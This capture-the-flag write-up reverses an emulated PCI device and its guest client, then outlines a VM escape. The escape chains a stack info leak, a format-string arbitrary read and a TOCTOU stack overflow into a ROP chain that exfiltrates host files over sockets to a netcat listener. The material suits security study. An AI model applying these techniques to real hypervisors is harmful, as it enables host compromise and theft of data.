Writeup by Bonfee

Chall 4

Reversing notes

files_service binary

The files_service binary does the following:

```
call init_device():
> Finds the correct PCI device under /sys/bus/pci/devices/FNAME

> calls map_device_BAR(FNAME, 0x0, 0x1000, &MMIO_BAR0):
> > fd = open("/sys/bus/pci/devices/FNAME/resource0", O_TRUNC | O_CREAT |
O_RDWR);
> > MMIO_BAR0 = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

> calls mm_fd = open("/dev/mm_device", O_TRUNC | O_CREAT | O_RDWR);

---

struct RESERVE_PHYSICAL {
    uint64_t physical_size;     // IN
    uint64_t physical_address;  // OUT
};

call recursive_listdir_upload():
> For each file under /etc/services/exploits/ call upload_file(file)
    // Open file
> > file_fd = open(file, O_RDONLY)
    // Get file size
> > FILE_SIZE = lseek(file_fd, 0, SEEK_END);

> > RESERVE_PHYSICAL in_out;
> > in_out.physical_size = (FILE_SIZE + 0xfff) & 0xfffffffffffff000;
    // Allocate physical memory for the file
> > ioctl(mm_fd, IOCTL_RESERVE_PHYSICAL, &in_out);
    // Mmmap the new allocated phys memory
> > ptr = mmap(0, in_out.physical_size, PROT_READ | PROT_WRITE, MAP_SHARED,
mm_fd, in_out.physical_address);
    // Write the file content into the phys memory
> > read(file_fd, ptr, FILE_SIZE);
    // Calculate the crc of the file content
> > crc = rc_crc32(0, ptr, FILE_SIZE);
    // Send the file to the pci device
> > pci_crc = mono_send_file(in_out.physical_addr, FILE_SIZE, crc);
    // If the pci calculates a different crc: corrupted file data, bailout
> > if (crc != pci_crc) BAILOUT;
```

`mono_send_file`:

```
struct struct_MMIO_BAR0 {
  /* 0x00 */ uint64_t unknown_1;
  /* 0x08 */ uint64_t unknown_2;
  /* 0x10 */ uint64_t status;
  /* 0x18 */ uint32_t crc;
  /* 0x1c */ uint64_t phys_addr;
  /* 0x24 */ uint64_t file_size;
};

struct struct_MMIO_BAR0 *MMIO_BAR0;

uint64_t mono_send_file(uint64_t physical_address, uint64_t file_size, int
crc)
{
  while (MMIO_BAR0->status != 'READY') {
    MMIO_BAR0->status = 'PREPARE';
    usleep(0x4E20);
  }

  MMIO_BAR0->phys_addr = physical_address;
  MMIO_BAR0->file_size = file_size;
  MMIO_BAR0->crc = crc; // our calculated crc
  MMIO_BAR0->status = 'GO!!';

  while (MMIO_BAR0->status != 'FINISHED')
    usleep(0x4E20);

  return MMIO_BAR0->crc; // PCI received crc
}
```

`pci_device.dll` binary

```
- There are many interesting Thread-like c++ classes:
Thread
|
|-> ManagerThread
|   |
|   |--> MonoThread
|   |
|   |--> MultiThread
|
|-> WorkerThread
|

- Other custom C++ classes
DeviceFactory
|
```

```
IGPUPMitigationDevice
| -> Device
|

MMIOFields
|
```

Working

- Linux guest client mmaps the PCI Resource0 using MMIO in a 0x1000 bytes page
- This area has a precise struct:

```
/* 0x000 */  uint64_t Signature;         // 1 VV: "HEXACON"
/* 0x008 */  uint64_t SignatureExt;      // 2 VV: "PROD", "DEVMODE"
/* 0x010 */  uint64_t MonoStatus;        // 3 VV: "GO!!", "ABORT",
"PREPARE"
/* 0x018 */  uint32_t MonoCrc;
/*  ...  */
/* 0x020 */  uint64_t MonoGuestAddress;
/* 0x028 */  uint64_t MonoGuestSize;
/* 0x030 */  uint32_t NotUsed32B;        // 2 VV: "HI", "KIM"
/* 0x034 */  uint32_t NotUsed32B2;
/*  ...  */
/*  ...  */
/*  ...  */
/* 0x200 */  uint64_t MultiStatus;       // 3 VV: "GO!!", "ABORT",
"PREPARE"
/*  ...  */
/* 0x210 */  uint64_t MultiGuestAddress;
/* 0x218 */  uint64_t MultiGuestSize;
/*  ...  */
```

Events

```
[Device] is created
|
|-- creates --> [MonoThread]
|
|-- creates --> [MultiThread]
                |
                |-- creates --> [WorkerThread] 1
                |
                |-- creates --> [WorkerThread] 2
                |
                |-- creates --> ...
                |
                |-- creates --> [WorkerThread] N
```

Each time the VM writes to MMIO, `Device::WriteInterceptedGpup()` is called:

```
__int64 Device::WriteInterceptedGpup(
    Device *this,
    struct _LUID *DeviceLuid,
    VGPU_BAR_SELECTOR BarIndex,
    size_t Offset,
    size_t Length,
    MMIOFields *Src) {

    if (BarIndex == CONFIG) { /* /sys/bus/pci/devices/FNAME/config */
        if (Offset == 4 && Length == 2) {
            /* ? */
        } else if (Offset == 16 && Length == 4) {
            /* BAR #0 Low Configuration */
        } else if (Offset == 20 && Length == 4) {
            /* BAR #0 High Configuration */
        }
    } else if (BarIndex == BAR0) { /* /sys/bus/pci/devices/FNAME/resource0
*/
        /* Intercepted guest write on BAR0 MMIO at Offset x with Length y
*/

        if (!MMIOFields::ValidateAccess(Offset, Length))
            /* MMIOFields::ValidateAccess invalid access */
            return;

        /* Some fields can only have certain values */
        if (!MMIOFields::ValidateAccessValue(Offset, Length, Src))
            /* MMIOFields::ValidateAccessValue invalid access value */
            return;

        FieldName = MMIOFields::GetFieldName(Offset);
        if (FieldName == "MonoStatus" || FieldName == "MultiStatus") {
            Status = MMIOFields::BufferAsULONG64(Src);
            if (FieldName == "MonoStatus")
                ManagerThread = &this->mono_thread;
            else
                ManagerThread = &this->multi_thread;

            switch (Status) {
                case 'Go!!':
                    ManagerThread->Configure();
                    ManagerThread->Go();
                    break;
                case 'ABORT':
                    ManagerThread->AsyncStop();
                    break;
                case 'PREPARE':
                    ManagerThread->Prepare();
                    ManagerThread->TryStart();
                    break;
            }
```

```
        } else if (FieldName == "SignatureExt") {
            Mode = MMIOFields::BufferAsULONG64(Src);
            this->DevMode = (Mode == 'DEVMODE');
        } else {
            memmove((void *)(this->userMMIO + Offset), Src, Length);
        }

    }
}
```

MonoThread life cycle

```
/* MonoThread->Run() */
MonoThread::Run() {
    char DataStackBuf[1024];
    char *Data;

    this->SetStatus('READY')
    Stop = false

    while (!Stop) {
        Status = this->GetStatus()

        switch (Status) {
            case 'GO!!':
                this->Running = false;
                this->Prepared = false;
                this->SetStatus('WORKING')

                if (this->GuestSize < 1024) {
                    Data = DataStackBuf
                } else {
                    Data = new char[this->GuestSize]()
                    memset(Data, 0x0, this->GuestSize)
                }

                Device::CopyDataFromGuest(
                    this->device,
                    Data,
                    this->GuestAddress,
                    this->GuestSize
                );

                checksum = ComputeCRC32(Data, this->GuestSize)
                if (checksum == this->GetChecksum())
                    SaveToHostFile(Data, this->GuestSize)

                if (Data != DataStackBuf)
                    delete[](Data)
```

```
                this->SetStatus('FINISHED')
                break;

            case 'READY':
                if (this->Running) {
                    this->SetStatus('GO!!')
                    this->Running = false;
                }
                break;

            default:
                if (this->Prepared) {
                    this->Running = false;
                    this->SetStatus('Ready')
                    this->Prepared = false;
                }
                break;
        }
    }

    this->SetStatus(0x0)
}
```

MultiThread life cycle

```
struct COMMAND_SHARED_BUF_HEADER {
  size_t NWorks;
  size_t nThreads;
  _QWORD qword3;
  _QWORD qword4;
};


struct __declspec(align(16)) MULTI_WORK_ITEM {
  __int64 Gpa;
  __int64 Size;
  __int32 Crc;
};

struct COMMAND_SHARED_BUF {
  COMMAND_SHARED_BUF_HEADER Header;
  MULTI_WORK_ITEM cmds[];
};

struct AddrAperture {
  struct COMMAND_SHARED_BUF *MapAddress;
  IUnknown *Aperture;
};

/* MultiThread->Configure() */
```

```
void MultiThread::Configure() {
    struct AddrAperture out;

    this->GuestAddress = Device::ReadField64(this->device, 0x210);
    this->GuestSize    = Device::ReadField64(this->managerthread0.device,
0x218);

    Device::MapGuestMemory(this->device, &out, this->GuestAddress, this-
>GuesSize);

    memcpy(&this->addr_aperture, &out, sizeof(struct AddrAperture));
}
```

```
/* MultiThread->Run() */
MultiThread::Run() {
    this->Running = false;
    this->CleanGuestState();
    this->SetStatus('READY');

    Stop = false;

    while (!Stop) {
        Status == this->GetStatus();

        switch(Status) {
            case 'GO!!':
                this->Prepared = false;
                this->Running = false;

                MultiThread::StartWorkers(this);
                this->SetStatus('WORKING');

                while (!this->WorkersFinished(this))
                    MultiThread::CleanWorkers(this);

                MultiThread::CleanGuestState(this);
                this->SetStatus('FINISHED');
                break;
            case 'READY':
                if (this->Running) {
                    this->SetStatus('GO!!');
                    this->Running = false;
                }
                break;
            default:
                if (this->Prepared) {
                    this->Running = false;
                    this->SetStatus('READY');
                    this->Prepared = false;
                }
                break;
```

```
        }
    }

    this->SetStatus(0x0);
    this->CleanWorkers();
    this->CleanGuestState();
}
```

```
void MultiThread::StartWorkers() {
    COMMAND_SHARED_BUF_HEADER CmdSharedBufHeader;

    memcpy(&CmdSharedBufHeader, this->addr_aperture.MapAddress,
sizeof(CmdSharedBufHeader));

    if ((CmdSharedBufHeader.NWorks + 1) * 32 != this->GuestSize)
        /* Invalid number of elements in Multi mode. */
        return;

    if (!CmdSharedBufHeader.nThreads
        || CmdSharedBufHeader.nThreads > 6
        || CmdSharedBufHeader.nThreads > CmdSharedBufHeader.NWorks)
        /* Invalid number of threads in Multi mode. */
        return;

    NWorksPerThread = CmdSharedBufHeader.NWorks /
CmdSharedBufHeader.nThreads;
    CurrMultiWorkItem = this->addr_aperture.MapAddress->cmds;

    /* std::list<WorkerThread *> list; */
    WorkersListBegin = this->list.begin();
    WorkersListEnd = this->list.end();

    for (i = 0; i < CmdSharedBufHeader.nThreads; i++) {
        if (WorkersListBegin != WorkersListEnd) {
            workerThread = *WorkersListBegin;
            WorkersListBegin++;
        } else {
            workerThread = new WorkerThread(this->device);
            this->list.push_back(workerThread);
        }

        if (CmdSharedBufHeader.nThreads == i + 1) {
            workerThread->ConfigureWorker(CurrMultiWorkItem, NWorks);
        } else {
            workerThread->ConfigureWorker(CurrMultiWorkItem,
NWorksPerThread);
            CurrMultiWorkItem += NWorksPerThread;
            NWorks -= NWorksPerThread;
        }

        workerThread->Start();
```

```
    }

}
```

Exploit notes

- Info leak
- Arb read in host process
- TOCTOU leads to overflow

Info leak

Max `0x400` bytes

```
MonoThread::Run() ->
    // Set GuestAddress to an invalid guest physical address
    // *Data will remain uninitialized
    Device::CopyDataFromGuest(
        this->managerthread0.device,
        (BYTE *)Data,
        this->managerthread0.GuestAddress,
        this->managerthread0.GuestSize
    );
```

We can bruteforce byte-by-byte the content of the uninitialized stack buffer by bruteforcing the crc.
In the leak we obtain the current stack address, then we can use it with the arb read primitive and leak `pci_device.dll`, `kernel32.dll`, `kernelbase.dll` etc

Arb read

```
// This happens because MonoStatusField::m_formatter is "%s"

// Enable DEVMODE
MMIO_BAR0->SignatureExt = 0x4445564D4F4445;

// This will trigger : snprintf(dst, 0x50, "%s", 0x4141414141414141);
MMIO_BAR0->MonoStatus = 0x4141414141414141;
```

TOCTOU -> stack bof

```
void WorkerThread::Run() {
  ...
  WorkItemSize = this->CurrWorkItem->Size;
  ...
  if (WorkItemSize <= 0x400) {
    buf = DataStackBuf;
```

```
    }
    ...
    this->device->CopyDataFromGuest(buf, this->CurrWorkItem->GuestAddress,
  this->CurrWorkItem->Size);
    ...
  }
```

Because of `ACG` we can't inject shellcode and because of `DisallowChildProcessCreation` we can't spawn new processes. Thus, we need to do everything in ROP.

I split the exploit in two stage:

- 1. Enumerate the files under `C:\\exploits` using `FindFirstFileA` + `FindNextFileA`
- 2. Exfil files under `C:\\exploits` using `VirtualAlloc` + `fopen` + `fseek` + `ftell` + `fread`

In both stage the ropchain first allocates a new pivoted stack using `VirtualAlloc` and then copies there the rest of the ropchain stored at the end of the `CMDs shared buf` mapped memory (as I can choose the size without limits).
In both cases I exfil data using sockets, so both stage are like:

```
WSAStartup()
socket()
connect()
...
send()
...
sleep()
```

Before the exploit is executed I open in another ssh session a netcat listening for data:

```
$ nc -vlnp 1337 | xxd
```

I developed my exploit on Windows 11 `22000.978`.
The remote instance had different dlls so I took a dll from a ~July patch and applied forward diffs until it matched the remote instance, which appears to be running version `22000.795`. (There were much easier ways to do this..)

Flag

`HXN{86b519eee1439add0dc5fc18d4c57815}`